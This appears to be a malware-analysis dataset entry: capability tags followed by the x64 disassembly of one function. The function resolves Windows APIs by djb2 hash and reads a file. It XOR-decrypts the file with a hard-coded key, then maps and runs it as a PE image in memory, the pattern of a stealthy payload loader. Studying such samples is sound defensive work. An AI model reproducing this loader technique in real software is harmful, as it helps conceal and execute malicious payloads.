Function at 0x180001680
Capabilities:
Encode data using xor
Resolve function by djb2 hash
Resolve function by parsing pe exports

Disassembly:
push rbp
mov edx, 0xcdea05f4
mov ecx, 0x6b0c494c
mov rbp, rsp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
and rsp, 0xfffffffffffffff0
sub rsp, 0x2d0
call fcn.180001400
mov edx, 0xe19e5fe
mov ecx, 0x7040ee75
mov r12, rax
call fcn.180001400
mov edx, 0x382c0f97
mov ecx, 0x7040ee75
mov r13, rax
call fcn.180001400
mov edx, 0x668fcf2e
mov ecx, 0x7040ee75
mov rsi, rax
call fcn.180001400
test r12, r12
je 0x180001758
test r13, r13
je 0x180001758
test rsi, rsi
je 0x180001758
mov rbx, rax
test rax, rax
je 0x180001758
lea r15, [rsp + 0xb0]
mov edx, 0x104
lea rdi, [rsp + 0x1c0]
mov rcx, r15
call fcn.1800012f0
lea rax, [rsp + 0x60]
mov ecx, 8
mov dword [rsp + 0x60], 0
mov rdx, rax
mov qword [rsp + 0x58], rax
call section..text
mov rdx, r15
mov rcx, rdi
mov r8, rax
mov r14, rax
call fcn.1800021c0
xor edx, edx
mov r8d, 0x8000
mov rcx, r14
mov r15d, eax
call rbx
test r15d, r15d
jne 0x180001770
lea rsp, [rbp - 0x38]
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov rcx, rdi
call fcn.1800012b0
test eax, eax
je 0x180001980
mov edx, 0xeb96c5fa
mov ecx, 0x7040ee75
call fcn.180001400
mov edx, 0x71019921
mov ecx, 0x7040ee75
mov r12, rax
call fcn.180001400
mov edx, 0x7891c520
mov ecx, 0x7040ee75
mov r13, rax
call fcn.180001400
mov edx, 0x3870ca07
mov ecx, 0x7040ee75
mov r14, rax
call fcn.180001400
mov edx, 0xcccf3585
mov ecx, 0x67208a49
mov r15, rax
call fcn.180001400
lea rcx, [rsp + 0x70]
movabs rdx, 0xa0d3164616f6c
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x70], rdx
call fcn.180002240
test r12, r12
je 0x180001758
test r13, r13
je 0x180001758
test r14, r14
sete al
test r15, r15
sete dl
or al, dl
jne 0x180001758
cmp qword [rsp + 0x58], 0
je 0x180001758
movabs rax, 0xa0d3264616f6c
lea rcx, [rsp + 0x78]
mov qword [rsp + 0x78], rax
call fcn.180002240
mov rcx, rdi
xor r9d, r9d
mov edx, 0x80000000
mov qword [rsp + 0x30], 0
mov r8d, 1
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 3
call r12
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x180001758
movabs rax, 0xa0d3364616f6c
lea rcx, [rsp + 0x80]
mov qword [rsp + 0x80], rax
call fcn.180002240
lea rax, [rsp + 0x64]
mov dword [rsp + 0x64], 0
mov rcx, rdi
mov qword [rsp + 0x58], rax
mov rdx, rax
call r14
mov r12d, eax
cmp eax, 0xffffffff
je 0x180001970
movabs rcx, 0xa0d3464616f6c
mov qword [rsp + 0x88], rcx
lea rcx, [rsp + 0x88]
call fcn.180002240
mov edx, 0x6f22e8c8
mov ecx, 0x7040ee75
call fcn.180001400
mov r14, rax
test rax, rax
je 0x180001970
movabs rcx, 0xa0d3564616f6c
mov qword [rsp + 0x90], rcx
lea rcx, [rsp + 0x90]
call fcn.180002240
mov r10d, r12d
xor ecx, ecx
mov dword [rsp + 0x50], r12d
mov rdx, r10
mov qword [rsp + 0x48], r10
mov r9d, 4
mov r8d, 0x1000
call rsi
mov r9, qword [rsp + 0x58]
mov r8d, dword [rsp + 0x50]
mov rcx, rdi
mov qword [rsp + 0x20], 0
mov r12, rax
mov rdx, rax
call r13
mov r10, qword [rsp + 0x48]
test eax, eax
jne 0x1800019d9
mov r8d, 0x8000
xor edx, edx
mov rcx, r12
call rbx
nop word [rax + rax]
mov rcx, rdi
call r15
jmp 0x180001758
mov rdx, qword [rsp + 0x58]
mov ecx, 0x10
call section..text
mov r14, rax
jmp 0x1800019a0
mov ecx, 0x1388
call r13
xor r9d, r9d
xor ecx, ecx
mov r8, rdi
mov rdx, r14
mov qword [rsp + 0x20], 0
call r12
test eax, eax
jne 0x180001998
mov rcx, rdi
call fcn.1800012b0
test eax, eax
je 0x180001998
mov r8d, 0x8000
xor edx, edx
mov rcx, r14
call rbx
jmp 0x180001780
movabs rax, 0xa0d3664616f6c
lea rcx, [rsp + 0x98]
mov qword [rsp + 0x58], r10
mov qword [rsp + 0x98], rax
call fcn.180002240
mov rcx, rdi
call r15
mov edx, 0xd2c4ab0a
mov ecx, 0x7040ee75
mov dword [rsp + 0x69], 0x66686864
mov dword [rsp + 0x6c], 0x646466
call fcn.180001400
mov r10, qword [rsp + 0x58]
test rax, rax
je 0x180001a6b
mov qword [rsp + 0x58], r10
lea rcx, [rsp + 0x69]
call rax
mov r9d, dword [rsp + 0x50]
mov r8d, eax
test r9d, r9d
jle 0x180001a6b
mov r10, qword [rsp + 0x58]
xor ecx, ecx
nop dword [rax]
mov eax, ecx
cdq
idiv r8d
movsxd rdx, edx
movzx eax, byte [rsp + rdx + 0x69]
xor byte [r12 + rcx], al
add rcx, 1
cmp rcx, r10
jne 0x180001a50
movabs rax, 0xa0d3864616f6c
lea rcx, [rsp + 0xa0]
mov qword [rsp + 0xa0], rax
call fcn.180002240
movsxd rax, dword [r12 + 0x3c]
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
lea r13, [r12 + rax]
mov edx, dword [r13 + 0x50]
movzx r15d, word [r13 + 6]
mov qword [rsp + 0x40], r13
call rsi
movsxd rcx, dword [r12 + 0x3c]
movzx edx, word [r13 + 0x14]
mov rdi, rax
lea r13, [rcx + rdx + 0x18]
mov rax, rcx
add r13, r12
test r15w, r15w
je 0x180001d11
lea rax, [r15 + r15*4]
lea rsi, [r13 + rax*8]
lea rax, [rsp + 0xa8]
mov qword [rsp + 0x50], rax
nop dword [rax]
mov eax, dword [r13 + 0x14]
mov edx, dword [r13 + 0xc]
add r13, 0x28
mov rcx, qword [rsp + 0x50]
mov r9d, dword [r13 - 0x18]
add rdx, rdi
lea r8, [r12 + rax]
mov qword [rsp + 0x20], rcx
mov rcx, 0xffffffffffffffff
call r14
cmp rsi, r13
jne 0x180001af0
movsxd rax, dword [r12 + 0x3c]
lea rsi, [r12 + rax]
mov ecx, dword [rsi + 0xb4]
test ecx, ecx
je 0x180001bfd
mov r9d, dword [rsi + 0xb0]
mov rax, qword [rsp + 0x40]
mov r10, rdi
add r9, rdi
sub r10, qword [rax + 0x30]
mov eax, dword [r9 + 4]
test eax, eax
je 0x180001bfd
mov r11, r10
shr r11, 0x10
sub rax, 8
mov ecx, dword [r9]
lea rdx, [r9 + 8]
shr rax, 1
lea r8d, [rax - 1]
add rcx, rdi
lea r8, [r9 + r8*2 + 0xa]
test eax, eax
jne 0x180001b99
jmp 0x180001be0
cmp si, 2
jne 0x180001b90
movzx eax, ax
add word [rax + rcx], r10w
nop
add rdx, 2
cmp r8, rdx
je 0x180001be0
movzx eax, word [rdx]
mov esi, eax
and ax, 0xfff
shr si, 0xc
cmp si, 3
je 0x180001bd0
ja 0x180001bc0
cmp si, 1
jne 0x180001b80
movzx eax, ax
add word [rax + rcx], r11w
jmp 0x180001b90
cmp si, 0xa
jne 0x180001b90
movzx eax, ax
add qword [rax + rcx], r10
jmp 0x180001b90
movzx eax, ax
add dword [rax + rcx], r10d
jmp 0x180001b90
mov eax, dword [r9 + 4]
add rax, r9
mov r9, rax
mov eax, dword [rax + 4]
test eax, eax
jne 0x180001b60
movsxd rsi, dword [r12 + 0x3c]
add rsi, r12
mov edx, dword [rsi + 0x94]
test edx, edx
je 0x180001cc8
mov edx, 0x5fbff0fb
mov ecx, 0x7040ee75
call fcn.180001400
mov edx, 0xcf31bb1f
mov ecx, 0x7040ee75
mov qword [rsp + 0x48], rax
call fcn.180001400
mov r15d, dword [rsi + 0x90]
mov r14, rax
lea rax, [rdi + r15]
mov qword [rsp + 0x58], rax
nop dword [rax]
mov rax, qword [rsp + 0x58]
mov eax, dword [rax]
test eax, eax
je 0x180001cc8
mov rsi, qword [rsp + 0x58]
mov rax, qword [rsp + 0x48]
mov ecx, dword [rsi + 0xc]
add rcx, rdi
call rax
mov r13, rax
test rax, rax
je 0x180001c48
mov r8d, dword [rsi]
mov esi, dword [rsi + 0x10]
lea r15, [rdi + r8]
add rsi, rdi
mov rdx, qword [r15]
test rdx, rdx
je 0x180001caa
test rdx, rdx
js 0x180001cb8
lea rdx, [rdi + rdx + 2]
mov rcx, r13
call r14
test rax, rax
je 0x180001c7a
add r15, 8
mov qword [rsi], rax
add rsi, 8
mov rdx, qword [r15]
test rdx, rdx
jne 0x180001c82
add qword [rsp + 0x58], 0x14
jmp 0x180001c48
movzx edx, dx
mov rcx, r13
call r14
test rax, rax
jne 0x180001c97
jmp 0x180001c7a
mov rax, qword [rsp + 0x40]
xor edx, edx
mov r8d, 0x8000
mov rcx, r12
mov esi, dword [rax + 0x28]
call rbx
mov rcx, qword [rsp + 0x50]
movabs rax, 0xa0d3964616f6c
mov qword [rsp + 0xa8], rax
add rsi, rdi
call fcn.180002240
mov r8d, 1
mov edx, 1
mov rcx, rdi
call rsi
jmp 0x180001758
lea rsi, [rsp + 0xa8]
mov qword [rsp + 0x50], rsi
jmp 0x180001b25